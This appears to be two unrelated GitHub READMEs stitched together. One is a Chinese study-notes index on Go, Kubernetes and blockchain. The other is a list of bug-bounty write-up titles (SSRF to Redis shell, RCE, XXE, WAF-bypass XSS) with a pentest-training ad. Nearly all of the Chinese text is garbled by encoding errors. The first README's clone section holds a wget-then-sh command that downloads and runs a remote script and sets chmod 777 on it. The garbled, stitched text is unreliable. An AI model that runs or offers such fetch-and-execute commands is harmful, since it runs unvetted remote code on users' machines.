จๆดๆฐ~ใ[k8s-iam](https://github.com/cubxxw/k8s-iam) ้กน็ฎๅฐฑๆฏๆ็ปๅKubernetes ๅ iam ่ฟไธคไธชๆไธบไผ็ง็้กน็ฎ่ๅๆ้ ็k8s-iam ้กน็ฎ๏ผๅฏน [ไผไธ็บง iam ้กน็ฎ](https://github.com/marmotedu/iam/) ่ฟ่กๅญฆไน ๅไปฟๅ๏ผไปฅๅๅฏนๅผๆบๆๆกฃๅๆๆฏ็ป่็่พๅบใiam ๆๆฏๆ ๆถต็ไบๅผๅ็ฏๅข้
็ฝฎใไปฃ็ ่ฎพ่ฎกใๅธธ็จๅ
ไฝฟ็จใHTTPใๅฎขๆท็ซฏCLIใRESTful่ฎพ่ฎกใๆฐๆฎๅบๆไฝใSwaggerๆๆกฃใCacheๆบๅถใไธๅก้ป่พๅค็ใๅผๅ่ง่ใAPI่ฐ่ฏใ้จ็ฝฒๆนๅผๅไบๅ็ๆถๆ่ฎพ่ฎก็ญๆน้ขใๆๅ
ด่ถฃ็ๅฏไปฅไธ่ตท้
่ฏปๅญฆไน ใ
๐ฅ ๅฝๅ่ง่ไปฅๅ้กน็ฎ็ฎๅฝ็ปๆ๐็่ฎพๅฎๅฏนไบไธๅๅๆ ผ็ๅทฅ็จๅธๆฅ่ฏดไนๆฏ้ๅธธ้่ฆ็ใไธ้ขๆฏไฝไธบไธๅๅๆ ผ็ๅผๅ่
๐คต๏ผๅฟ
้กป่ฆไผ็ๅบๆฌ็ด ๅ
ปใ
+ [๐ฑ๏ธGo่ฏญ่จๅ
็ฎก็ๅทฅๅ
ท โ modๅ
](Gomd_super/mod.md)
+ [๐ฑ๏ธGo-airๅฎ็ฐ็ญๅ ่ฝฝ็ผ่ฏ](Gomd_super/go-air.md)
+ [๐ฑ๏ธๅฝๅ่งๅๅไปฃ็ ่ง่](Gomd_super/name.md)
+ ๐ฑ๏ธ[Go่ฏญ่จ็ฎๅฝ็ปๆ](Gomd_super/catalogue.md)
+ ๐ฑ๏ธ[Goๆไปถไปฅๅ็ผ็ ๅค็](Gomd_super/go_file.md)
+ ๐ฑ๏ธ[ๆญฃๅ่กจ่พพๅผ](Gomd_super/zhenze.md)
+ ๐ฑ๏ธ[ไฝ่ฟ็ฎๆๅทง](Gomd_super/bitwise.md)
> Go่ฏญ่จไธไบๅ
ถไป็็ฝ็ซๅๅๅฎข๏ผๅผๅพไธ็
>
> + [Go่ฏญ่จ้ข่ฏ้ข](https://www.topgoer.cn/docs/gomianshiti/mianshiti)
> + [Go่ฏญ่จไธญๆๅฎๆนๆๆกฃ](http://word.topgoer.com/)
> + [Go่ฏญ่จไธๅฎถ็ผ็จๅฐๅ](http://wen.topgoer.com/docs/gozhuanjia/gogfjhk)
<br>
## ๐ ไบๅ็ Cloud Native
๐ก ่ฟๆฏไธไธชๅ
ณไบไบๅ็้ขๅ็ไปๅบ๏ผๆถๅๅฐ dockerใKubernetesใcloud native ็ฅ่ฏ๏ผๅ
ๆฌ docker ๆถๆๅๅบๅฑๅฎ็ฐ๏ผๅ
ๆฌKubernetes็ๆถๆใๅ็ใ็ๆไปฅๅๆบ็ ้
่ฏปใ่ฟๆ Cloud Native ๅ
ถไป้ขๅ็ฅ่ฏ๏ผไปฅๅๅไธช CNCF ๅผๆบ็คพๅบ้กน็ฎๅญฆไน ใ
+ [x] [docker](awesome-docker-kubernetes/README.md)
+ [x] [Kubernetes](awesome-docker-kubernetes/Cloud-Native-k8s/README.md)
+ [x] [CloudNative](awesome-docker-kubernetes/Cloud-Native/README.md)
## ๐ CS็ณปๅ
CS ็ณปๅ้่ช[๐awesome-cs-course](https://github.com/cubxxw/awesome-cs-course)๏ผๅ
ๅฎนๆถต็ ่ฎก็ฎๆบๆไฝ็ณป็ปใcsapp็ณปๅใ็ฎๆณๅๆฐๆฎ็ปๆใ่ฎก็ฎๆบ็ฝ็ปใ`linux`ใ`java`ใ`python`ใ`C/C++`ใ`vuepress`ใ`gitbook`ใ`nodejs`ใ`vuejs`ใ`halo`ใ`redis`ใ`hugo`ใ`nginx`ใ`nosql`ใ`mysql`ใ`JavaScript`ใ`git`ใ`markdown`ใ`web`ๅ็ซฏ็ญ็ฌ่ฎฐ๏ผๆดๅค็งปๆญฅๅฐ[AWESOME็ณปๅCSไปๅบๅฐๅ](https://github.com/cubxxw/awesome-cs-course/)
+ [x] [Javaๅ
จๅโ](https://github.com/cubxxw/awesome-cs-course/blob/master/java/README.md)
+ [x] [ๆฑ็ผๅญฆไน ๐ฅ](ๆฑ็ผ/README.md)
+ [x] [่ฝฏไปถๅทฅ็จ](./่ฝฏไปถๅทฅ็จ&็ณป็ป่ฎพ่ฎกๅๆถๆ/README.md)
+ [x] [็ฎๆณไธๆฐๆฎ็ปๆ๏ผLeetCodeๅท้ข่ฎฐๅฝ๏ผ](https://github.com/cubxxw/LeetCode/)
+ [x] [่ฎก็ฎๆบ็ฝ็ป๐ฅ](./web/README.md)
+ [x] [ๆไฝ็ณป็ป โ OS๐ฅ](https://github.com/cubxxw/os)
+ [x] [CSๅฟ
้กป่ฆไผ็ๆๆฏ๐ฅ](cs/README.md)
<br>
## ๐ ๅผๅๅฟ
ๅคๆๆฏ
๐งๅไธๆฎ้็จๅบ็ๅผๅๆ่
ๆฏๅบๅ้พโ๏ธๅผๅๅฟ
้กป[็ๆLinuxๆไปค](https://github.com/cubxxw/awesome-cs-course/blob/master/linux/README.md)๏ผ็ๆ[gitๅข้ๅผๅ](https://github.com/cubxxw/awesome-cs-course/blob/master/Git/README.md)๏ผๅบไบ[dockerๅฎนๅจ](docker/README.md)ไผ่ฎฉๆ้จๅฟซ้็ๆญๅปบๅทฅๅ
ทๅ็ฏๅข๏ผๆดๅฅฝ็่ฟ็งปๅผๅ็ฏๅขๅ่ฟ็งป้พ็ ๏ผblockcode)๏ผ[ๅฏ็ ๅญฆๅไฟกๆฏๅฎๅ
จ](cryptology/README.md)ไธไป
ไป
ๆฏๅบๅ้พๅทฅ็จๅธๅฟ
้กป่ฆๅญฆไน ็ๆๆฏ๏ผๆดๆฏITไปไธ่
ๆชๆฅไธๅฏๆ็ผบ็ๆๆฏใๆไปฌ้ฝๆธดๆ็ณป็ป่ฝๆดๅ ็ๅฎๅ
จไธๆฏๅ๐ตใ
โ ๏ธ `Docker` ใ`K8s`ใ`sealos`ใ`ไบๅ็` ๅทฒๅ
จ้จ่ฟ็งป่ณ โก๏ธ [CubDoc๐งท](https://docker.nsddd.top/)
+ [x] ๐ฑ๏ธ [linuxไปๅ
ฅ้จๅฐ็ฒพ้๐ฅ](https://github.com/cubxxw/awesome-cs-course/blob/master/linux/README.md)
+ [x] ๐ฑ๏ธ [Gitโๅฟ
ๅค็ฅๅจ๐ฅ](https://github.com/cubxxw/awesome-cs-course/blob/master/Git/README.md)
+ [x] [๐ฑ๏ธ Docker/k8s/ไบๅ็๐ฅ](docker/README.md)
+ [x] [๐ฑ๏ธ ๅฏ็ ๅญฆๅไฟกๆฏๅฎๅ
จ๐ฅ](cryptology/README.md)
<br>
## ๐ ๅบๅ้พๅฏผ่ช
<font size = 2>ๆ่ฎคไธบไธ็ๅๅฒๅฏไปฅ็จไธคๅฅ่ฏๆฅๆ่ฟฐ๏ผๅไน
ๅฟ
ๅ๏ผๅไน
ๅฟ
ๅใๅบๅ้พๅฐๆฏๅฌๅไธไธไธชโๅไน
ๅฟ
ๅโๆถไปฃ็ๆฐๆๆฏใๅบๅ้พ็ไบง็้ธๅฐฑไบไธไธชๆฐ็ๆถไปฃ๏ผๆไปฌ็ไฟกๅฟตๆฏๅปบ็ญๅจไธไธชๆฐๅญฆ็็ฎๆณไธ้ข๏ผIn math we trustใ โโๅผ ้ฆๆ</font>
:spider_web: ่ฟๆฏไธไธชweb2็ไธ็๏ผๆ่
ๅพๅฟซๆดไธชไบ่็ฝ่กไธ้ฝไผๆน้ฉ๏ผๆฏ็๏ผ้ฝไผ่ฟๅ
ฅweb3็ไธ็
> ๐ฅ ๆๆทฑไปฅไธบ็ถ๏ผๅบๅ้พๆ่ฎธไธ่ฝ่ฎฉ่ฟไธชไธ็ๅๅธๅ๏ผไฝๆฏๅฎๅฏไปฅ่ฎฉไธ็ไธๅๆไธญไปใไธๅจไผๅ ไธบไฝ ๆ็ฉๆธธๆๅดฉๆบไฝ ๅฐฑๅคฑๅปไบ่ฟไธชๆธธๆ~
ไปไบๅบๅ้พ๏ผ้่ฆๅชไบๅบ็ก็ฅ่ฏ๏ผ็ไธ[ๅบๅ้พๅผๅ้่ฆไปไน](C_Universal_Brockchain\chain.md) ๏ผไฝ ้่ฆไธไปฝ[ๅบๅ้พๅทฅ็จๅธ่ทฏ็บฟ](./blockchain/route.md)๏ผๆ่ฎธไฝ ๅฏไปฅๅจไธไบๅบๅ้พ้กน็ฎไธญๆพๅฐ็ตๆ[๐ๅบๅ้พๅ
ฌ็้กน็ฎ๏ผNFT+็ง้พ/่็้พ/็ง้พ๏ผ](blockchain/ๅบๅ้พๅ
ฌ็้กน็ฎ/README.md)ใๅบๅ้พ็[ๅ
ฑ่ฏ็ฎๆณ](blockchain/README.md)ๆฏๆไนๅฎ็ฐ็ๅข?
+ [x] [๐ๅบๅ้พๅทฅ็จๅธ่ทฏ็บฟ](./blockchain/route.md)
+ [x] [๐ๅบๅ้พๅผๅ้่ฆไปไนโ](C_Universal_Brockchain\chain.md)
+ [x] [๐ๅบๅ้พๅ
ฌ็้กน็ฎ๏ผNFT+็ง้พ/่็้พ/็ง้พ๏ผ](blockchain/ๅบๅ้พๅ
ฌ็้กน็ฎ/README.md)
+ [x] [๐ๅ
ฑ่ฏ็ฎๆณโโGo่ฏญ่จๅฎ็ฐ](./blockchain/README.md)
<br>
## :b: ๅบๅ้พๆ็จ
๐ฑ ๅบๅ้พ็ณปๅๅ
ๅซไบๅบๅ้พๆ็จ๏ผไธป่ฆๆฏ`eth`ใ`btc`่ฟๆ่็้พ`fabric`่ถ
็บง่ดฆๆฌ็ป็ป็ๆ็จ๏ผๅบไบ่ฟไบๆ็จๆฉๅฑๆฐ็ๆๆฏ๏ผ`git`ใ`ipfs`ใๅฏ็ ๅญฆใๅ
ฑ่ฏ็ฎๆณใ
๐ฎ ่ฟไธชไนๆฏๆไปฌ`C-UB`็คพๅบ็ๆ็ป็ฎ็๏ผๆไปฌ่ฆๆ้ ๅบไธไธชไธไธๆ ท็ๅ
จๆฐๅญฆไน ๅนณๅฐ๏ผๅฐไผ่ๅไธๅๆฐๅๆๆฏ๏ผ`ipfs`ใ`git`ใ`k8s`ใ`Kafka`)๏ผๅบไบweb3็c-ub็คพๅบ๏ผๅฑไบๆไปฌๆฏไธไธชไบบ๏ผๆ่ฎธ่ฟๅฐไผๆ่ฝๅๆไธบไธไธไธชๆถไปฃ็ๅ
้ฉฑ๏ผๅฎๅ
จๆนๅไบบ็ฑป็ๅๅๆนๅผใๅฝไบบไธไบบไน้ดๆดไฟกไปป๏ผๆ็ๅฐฑไผๆด้ซใ
๐ธ ไปฅๅ้พๅญฆ้กน็ฎ[C-Universal Blockchain](https://github.com/c-ub)
> ไปฅๅคชๅๅๆฏ็นๅธไธๆ ท๏ผๅบๅฑๆกๆถ้ฝๆฏๅบๅ้พๅ่ฎฎ๏ผๅบๅ้พๆฌ่ดจไธๆฏไธไธชๅบ็จไบๅฏ็ ๅญฆๆๆฏ็ๅๅธๅผๆฐๆฎๅบ็ณป็ปใๅปบ่ฎฎ็ไธไธ **[ไปฅๅคชๅ็ฝ็ฎไนฆ](https://github.com/ethereum/wiki/wiki/%5B%E4%B8%AD%E6%96%87%5D-%E4%BB%A5%E5%A4%AA%E5%9D%8A%E7%99%BD%E7%9A%AE%E4%B9%A6)๏ผ้่ฆๆgolang็ผ็จๅบ็ก๏ผ**
>
> <div align="center">
> <a href="eth/TOC.md">
> <img src="https://sm.nsddd.top//typora/image-20220630192622583.png?mail:3293172751@qq.com" alt="ๅบๅ้พ็ๅญฆไน " style="zoom: 20%;" />
> </a></div>
+ [x] [๐ฑ๏ธๅบๅ้พๆ็จ๐ฅ](C_Universal_Brockchain/README.md)
+ [x] [๐ฑ๏ธweb3๏ผๆบ่ฝๅ็บฆ](eth/README.md)
+ [x] [๐ฑ๏ธๅบๅ้พๆๆฏๆๅ](chainbrock-learning/SUMMARY.md)
> ไผไธ็บง[ๅบๅ้พๅฎๆๆ็จ](https://learnblockchain.cn/books/enterprise/)
<br>
<!--
## AI ๆ็จ
-->
## ๐๏ธ ้กน็ฎ
ไธบไบๆนไพฟ็ฎก็๏ผๆๅฐๆๆ็็ฅ่ฏไปๅบไปฅๅ่ดก็ฎๅผๆบ้กน็ฎๆๅ
้็ไปๅบๆพๅจไบๆ็ไธชไบบ่ดฆๆท [cubxxw](https://github.com) ไธญ๏ผๅฐๆๆ็้กน็ฎๅ่ง่ๆๅ
ณ็ไปๅบ้ฝๆพๅจไบ่ชๅทฑๅๅปบ็็คพๅบ [kubecub](https://github.com/kubecub) ไธญๆนไพฟๆๆไบบๅ ๅ
ฅๅนถไธๅญฆไน ๏ผๅนถไธๅฐๆๆ่ชๅจๅ็ธๅ
ณ็่ดฆๆท้ฝไฝฟ็จไบ [robot(kubbot)](https://github.com/kubbot) ๆบๅจไบบๆฅ่ฟ่ก่ชๅจๅๅๆงๅถใ
ๆๅไธ่ฟๅพๅค้กถ็บงๅผๆบ็คพๅบ๏ผๅ
ๆฌ [sealer](https://github.com/sealerio/sealer)ใ[sealos](https://github.com/labring/sealos)ใ[Kubernetes](https://github.com/kubernetes/kubernetes/)ใ[OpenIM](https://github.com/OpenIMSDK)ใ[K8sgpt](https://github.com/k8sgpt-ai/k8sgpt)ใ[Horizon](https://github.com/horizoncd/horizon/) ไปฅๅ ๆ่ชๅทฑๆ้ ็ ๅผๆบ็คพๅบ [Kubecub](https://github.com/kubecub)ใkubecub ไธญๆๅพๅคๆๆฒๆทไธๆฅ็ๅผๆบ่ง่ไปฅๅไปฃ็ ใ้กน็ฎ่ง่้ฝๆป็ปๅจๅไธชไปๅบไธญใๅนถไธ๏ผKubecub ๅ OpenIM ไฝฟ็จไบๆๅ้ ็ [๐ค robot(kubbot)](https://github.com/kubbot) ๆฅๅฏน PR ๅ Issue ้ซๅบฆ่ชๅจๅใkubecub ๅฎๆจๆฏ้ขๅๆๆ็ๅผๅ่
่ฟ่กๅญฆไน ๅๅ้ ็๏ผไฝ ๅฏไปฅๅจ้้ขๅฉ็จๆไปฌ็่ชๅจๅๅทฅๅ
ทๅๆจกๆฟๆ้ ่ชๅทฑ็ๅผๆบ้กน็ฎ๏ผๅนถไธ่ฎฉๆดๅค็ไบบๆฅๅธฎๅฉไฝ ๅๅใreview ไปฃ็ ใ
ๅจ้้ข็งฏ็ดฏไบๅพๅค็ๅผๆบ็ป้ช๏ผๅนถไธ่ฎฐๅฝๅจๆ็ [ๅๅฎข](https://nsddd.top) ไธญ๏ผๅ
ถไธญ๏ผๅพๅค็ๆๆกๅๅจ่ดก็ฎ็ๆ้ฟ็ฌ่ฎฐ๏ผๆๅญฆไน ๅฐ็็ฅ่ฏ้ฝๅจ [CloudNative](https://docker.nsddd.top/Cloud-Native/) ่ฟ็ฏ็ฅ่ฏๅบไธญๆๆ่ฎฐๅฝใ
> <p align = "center" color="red">
> <b> kubecub๏ผkubecub-ๅผๆบ็คพๅบ๏ผ</b>
> </p>
>
> <div align="center">
> <a href="https://github.com/kubecub">
> <img src="http://sm.nsddd.top/sm202305242215086.png" alt="twitter_header_photo_1" style="zoom: 20%;" />
> </a></div>
>
> ๆฌข่ฟๅ ๅ
ฅ kubecub ็คพๅบไธ่ตทๅญฆไน ใไธบๅผๆบๅ่ดก็ฎ ! ไธบไบๆนไพฟๆฏไธไฝๅผๆบ็ฑๅฅฝ่
ไบคๆตๅๅญฆไน ๏ผๆไปฌๅจ slack ไธญ้ๆไบ ๅพๅค่ชๅจๅๅทฅๅ
ทไปฅๅ AI๏ผๆฌข่ฟๅคงๅฎถ [๐ฅๅ ๅ
ฅ Slack](https://join.slack.com/t/kubecub/shared_invite/zt-1se0k2bae-lkYzz0_T~BYh3rjkvlcUqQ)ใ
## โจ ๅไธ่ดก็ฎ๐
**[๐ซต ๅไธ่ดก็ฎ๐โค๏ธโ๐ฉน๐๐](https://nsddd.top/archives/contributors)**
**[๐ ็่ณไฝ ๅฏไปฅๅจ่ฟไธช็้ขๆไธ`.`่ฟๅ
ฅvscode็ผ่ฏ็ฏๅข](https://nsddd.top/archives/githubdev)**
**่ฆๆฑ๏ผ**
+ [ไฝ ้่ฆๅญฆไผไฝฟ็จmarkdown๐ฑ๏ธ](https://github.com/cubxxw/awesome-cs-course/blob/master/markdown/README.md)
+ [็ฌฆๅGoogleไปฃ็ ่ง่](https://zh-google-styleguide.readthedocs.io/en/latest/google-cpp-styleguide/)
<details><summary><b>๐ซก ๅ
้ๆญคไปๅบๅฐๆฌๅฐ</b></summary>
<pre><code>git clone https://ghproxy.com/https://github.com/cubxxw/Block_Chain.git ่้ธ็ๆ้ฟๆๅ
</code></pre>
<pre><code>wget -c -d -O gitsync.sh https://sm.nsddd.top/uploads/2022/10/27/Y0iHb6ix_gitsync.sh?attname=gitsync.sh && echo "gitsync.sh" >> .gitignore && sh gitsync.sh ่ฟ้ๅๆไบคไฟกๆฏ~ && chmod 777 gitsync.sh
</code></pre>
</details>
<br>
<font size = 2>๐ฏ ๅฆๆไฝ ไนๆณๅฏนๆฌ้กน็ฎๅๅบ่ดก็ฎ๏ผ้ฃไนไฝ ๅฏไปฅๅ
ๆ่ฏฅ้กน็ฎ่ฟ่ก [fork](https://github.com/cubxxw/cs-awesome-Block_Chain/fork)ๆ่
`git clone` ๅฐๆฌๅฐ๏ผๆจ่ๅ
็จย [fock](https://github.com/cubxxw/cs-awesome-Block_Chain/fork)ๅฐ่ชๅทฑไปๅบ๏ผ็ถๅๅcloneๅฐๆฌๅฐ๏ผๅฏนๆฌๅฐ่ฟ่กๆไฝ๏ผๆๅไป่ชๅทฑไปๅบ่ดก็ฎ๏ผ็ถๅ่ชๅทฑๅปบ็ซไธไธชๅๆฏ `your-branch`๏ผ็ถๅไธไผ ่ตๆๅฐ ๅฏนๅบ็ฎๅฝ ไธ๏ผๅพ็ไฟกๆฏๅฏไปฅไธไผ ๅฐ` /images`๏ผ็ถๅๆดๆฐ `README`ใ </font>
## [](https://repography.com) / Recent activity [](https://repography.com)
[](https://app.fossa.com/projects/git%2Bgithub.com%2F3293172751%2Fcs-awesome-Block_Chain?ref=badge_shield)
[](https://github.com/cubxxw/Block_Chain/commits)
[](https://github.com/cubxxw/Block_Chain/issues)
[](https://github.com/cubxxw/Block_Chain/pulls)
<br>
## ๐ก ็ๆๅฃฐๆ ©
[](http://zh.wikipedia.org/wiki/Wikipedia:CC-by-sa-3.0ๅ่ฎฎๆๆฌ)
***License**:* ๆฌไนฆๆๆๅ
ๅฎน้ตๅพช[CC-BY-SA 3.0ๅ่ฎฎ๏ผ็ฝฒๅ-็ธๅๆนๅผๅ
ฑไบซ๏ผ©](http://zh.wikipedia.org/wiki/Wikipedia:CC-by-sa-3.0ๅ่ฎฎๆๆฌ)
[](https://app.fossa.com/projects/git%2Bgithub.com%2F3293172751%2Fcs-awesome-Block_Chain?ref=badge_large)
</br>
| ๐ ่้ธๆ้ฟๆๅ๐ CS็ณปๅ ใไบๅ็็ณปๅใๅบๅ้พ็ณปๅใweb3็ณปๅ๐ฅใGolang็ณปๅ๐ก...... | go,blockchain,docker,fabric,git,mysql,linux,web,awesome,kubernetes | 1 | 7 | 36 | 495 | 4 | 18 | 7 |
J0o1ey/BountyHunterInChina | # BountyHunterInChina๏ผ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ๏ผ
## ๆ็ซ ๅ่กจ
| ๆ็ซ ๅ | ไฝ่
|
| :----------------------------------------------------------- | ------- |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ไธ)-่ฝปๆพGETๆsrc soapๆณจๅ
ฅ | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ไบ)-้ๅapp็ ด่งฃๆฐๆฎๅ
signๅผๅฎ็ฐไปปๆๆฐๆฎ้ๆพๆทปๅ | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ไธ)-ๆ ่ๆๆๆSRC Getshell | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ๅ)-่ฎฐไธๆฌกๆ่ถฃ็ๅฎขๆท็ซฏRCEใๆๅก็ซฏXXEๆๆ | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ไบ)-ๅคๆๆณ็ป่ฟWAFๆๆๆ็ฅๅๅๅXSS | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ๅ
ญ)-ๅผบ่กๅคๆฌกFUZZๅ็ฐๆๅๅSSRFๅฐredisๅฏ็ ๅทๆดๆน้ๅๅผนShell | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ไธ)-็ๆๅฆไฝไปFUZZๅฐXSSๅจSRCๅฎ็ฝๅท่ตฐไฝ ็ไธชไบบไฟกๆฏ | RG |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ๅ
ซ)-่ฎฐไธๆฌก็งป่ฑๆฅๆจ็GetShell | RG |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ไน)-ไปๆฌๆ ๆณ่งฆๅ็xssๅฐๆขฆๅนป่ๅจๆๆๅคไธช่ดๅฝๆฅๅฃไธ็XSS่งฆๅ็น | h0af3ng |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ๅ)-ๆๅคงๅไปๅบๅผsso็ป้ๅฃๅฐๅคๆ่ทฏfuzz่ทๅๅๅฐ้ซ็ฎกไฟกๆฏ | Cat |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ๅไธ)-ๆSRCๅจๅญXSSๅคๆฌกBypassWAFๆๆ | h0af3ng |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ๅไบ)-่ฎฐไธๆฌกๅฏนๆ้ฃๅกๆต้ๆฃๆต็ๆไปถไธไผ | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ๅไธ)-ๆขฆไธญ็ปๆๆ่ไปฃ็ๅๅๅฐ | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ๅๅ)-ๅทง็จ็ฎๆ ๅๅ็น็นๆๆๆๆฐไธSRCๅๅคRCE | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(ๅไบ)-ไปๅฟฝ็ฅๅฐtriage็SSRFๆๆไนๆ
| J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจไธๅฐๅฃๅญ(ๅๅ
ญ)-่ฎฐไธๆฌกๆ็ป่ขซๅฟฝ็ฅ็graphqlๆผๆดๆๆ็ปๅ | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(็ชๅค็ฏโ )-ๆต
่ฎฐไธๆฌกๅฑๅฑ็ช็ ด็ๆป้ฒๆผ็ป | J0o1ey |
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ(็ชๅค็ฏโก) - ๆๅคด้จ็ด่พๅธๆป้ฒๆผ็ป็บชๅฎ-ๅฆไฝไธ็จ0dayๆไธnไธช็น | J0o1ey |
| ้็ไนๆๆฏ่ต้็ไบบๅ่ฎขๆฌ(2023ๅนด4ๆๅ็ๅ้) | J0o1ey |
| ๆชๅฎๅพ
็ปญ | |
| ๆฌข่ฟๆ็จฟ | |
### ้กน็ฎไบคๆต็พค/ๅนฟๅ
**ๅบๅคงๅฎถ่ฆๆฑ๏ผๅผไธไธช้กน็ฎไบคๆต็พค๏ผไบบๆปกๆ่
ไบ็ปด็ ่ฟๆๅฏ่็ณป็ฌ่
Vxๆๆจๅ
ฅ็พค๏ผๆฌข่ฟๅคงๅฎถ่ฎจ่ฎบๅๆฒฟ็ๆผๆดๆๆ/ๆป้ฒcase๏ผๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ็็ๆดปไฝๆ**
**ไนๆฌข่ฟๅคงๅฎถๅ็ฌ่
่ฟ่กๆๆฏไบคๆตไธๆข่ฎจ๏ผๅธๆๆไปฌๅฏไปฅไปไบคๆต่ฟ็จไธญ้ฝๆๆถ่ท๏ผ่ไธๆฏไธๆนๅฝไผธๆๅ
๏ผ**
**ไธบไบ่กฅ่ดดๅๆผๆ้ดๅฎถ็จ๏ผๅฆๆๅคงๅฎถๅฏน็ฌ่
็<ๅ
จๆ ๅผ้ป็ฝ็ๆผๆดๆๆ/ๆป้ฒๅน่ฎญ>็ญไธๅกๆๅ
ด่ถฃ๏ผๆๆๅ
ถไปๅ่ง็้กน็ฎ้ๆฑ๏ผไนๆฌข่ฟ็งไฟก็ฌ่
๏ผๆ่ฐขๅคงๅฎถๅฏน็ฌ่
็ๆดปไธๆ็็่งฃ**
## Update History
### 2024ๅนด2ๆ ๆดๆฐ
็ช็ถๅ็ฐๅทฒ็ปๆๅฐ่ฟไธๅนดๆฒกๆๆดๆฐไบ๏ผ่ฟไธๅนด็ฌ่
ๅๆป้ฒ/Pentest็ฑป็ๅทฅไฝๅทฒ็ปไธๆฏๅพๅคไบ๏ผๆดๅค็ๆถ้ดๆๅ
ฅๅฐไบไผไธๅฎๅ
จๅปบ่ฎพ็ๅญฆไน ใๆ่ไธๅฎ่ทตไธญ๏ผๅ ๆญคไนๆฒกๅฅไผ่ดจ็ๅ
ๅฎนๅฏไปฅๆดๆฐ๏ผๆดๆฐ็ผๆ
ข๏ผ่ฟๆๅคงๅฎถ่ง่ฐ
**็ปๅ่ฟไธๅนดๅฎๅ
จ่กไธ็ๆจๆทกๅคงๅฝขๅฟๅ็ฌ่
ๅๆผ็ๅ่บซไฝ้ช๏ผ2024.2.1 ๆฌ้กน็ฎๅณๅฎๆดๅไธบโ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญโ**
**ไปฅๆดๅ ๅๅๅฎ้
็็ๅญ็ฐ็ถไธบๆ ้ข๏ผๆ็ปไธ็นๆๆๆ็ๆๆฏcase๏ผ่ฟไพฟๆฏๆนๅ็ๅ่กท**
### 2023ๅนด4ๆ ๆดๆฐ
็ปๅไบๅปๅนดไธๅนด็ซๆ
ๅคง่ๆฏไธ็ไบ่็ฝๅฏๅฌ๏ผๅนดๅๆถ่๏ผ็ปไบ็ญๅฐไบๆฅๅๅคงๅฐ๏ผ็ซๆ
ๆถไปฃ็ๅบๆฌ็ปๆใไฝๆฏๅพ้ๆพ๏ผ็ปๅไบๅปๅนด็ไบๆๅ๏ผ็ฌ่
็ๅฐๅพฎไผไธๅทฒ็ป็ฌไธ่ฟไปๅนดๅนดไธญไบ๏ผไฝไธบไธไธช20ๆฅๅฒ็ๅไธ่
ๅๅค็ณ่ฏท่กๆ่ฝฌ่ฎฉไบ๏ผ้ขๆไบๆๆ
จใ่ชๅทฑๅฟ้ๅฟๅค๏ผ็ป็ฉถ่ฟๆฏ่ฆ่่ๅฎๅฎๅฐๆพไธ้ฃไบไธๅๅฎ้
็ๆณๆณ๏ผๆฅๅ็ฐๅฎๅๅธๅบ็ๆฎ้
ทใ
ๅๅ
ฌๅธๅไธๅก็่ฟไธคๅนด๏ผ็ฌ่
็ปๅไบๅพๅค๏ผ้คๅปๅฐ้จๅๆๅ็็ปฝๆพๆถๅป๏ผๅคง้จๅๆถๅๅค็่ฟๆฏ่ขซไบบๅฟๅไบบๆงๆ็้ผป้่ธ่ฟ็ๆๆใๆถๆถๅปๅป่่ไผไธ่ฝๅฆๆดป่ฟไธไธไธชๅญฃๅบฆ๏ผ่ฟ่ฎฉไธไธช20ๆฅๅฒ็ๅนด่ฝปไบบ่บซๅฟไฟฑ็ฒ๏ผๆๅฐ่ฟทๆใไธๅฎๅๆตฎ่บ๏ผ่ฟทๅคฑไบๅพๅค็ๅๅฟไธ็ญ็ฑใๆไปฅๆ้ๆฉ็ป่ถณ่ชๅทฑๆฒๆท็ๆถ้ด๏ผๅฏป่ง
ๆฌๅฟ๏ผ่ไธๆฏๅจๅนด่ฝปๅฐไธ่ฝๅๅนด่ฝป็ๅฒๆ้ๆฅไบๆฑๆใ
ๅฆไปๅ้ฆ็ๆฅ๏ผๅฏ่ฝๅๆถๅๆๆฏๅๅไธ็ไบบ๏ผๅฟไธญๆ็บฏ็ฒน็ไธ่ฅฟๅฏ่ฝไนๅชๅฉไธๆๆฏไบใ็ฌ่
ๅฐๆถๅ่ขซ้ปๅฎข็ๆ
ไบๅธๅผ๏ผไปๅฐๅฐๅคง๏ผไธไธๅฐๅฟๅๆๅญฆไน ๅฎๅ
จๅทฒ็ปๅฅฝไบๅนดไบ๏ผๅๆบๅๅๅคฉ่ตๆ้๏ผ่ชๅทฑๅญฆไบๆบไน
ไพ็ถๆฏ่้ธกๆฐดๅนณใๅจๅญฆๅฎๅ
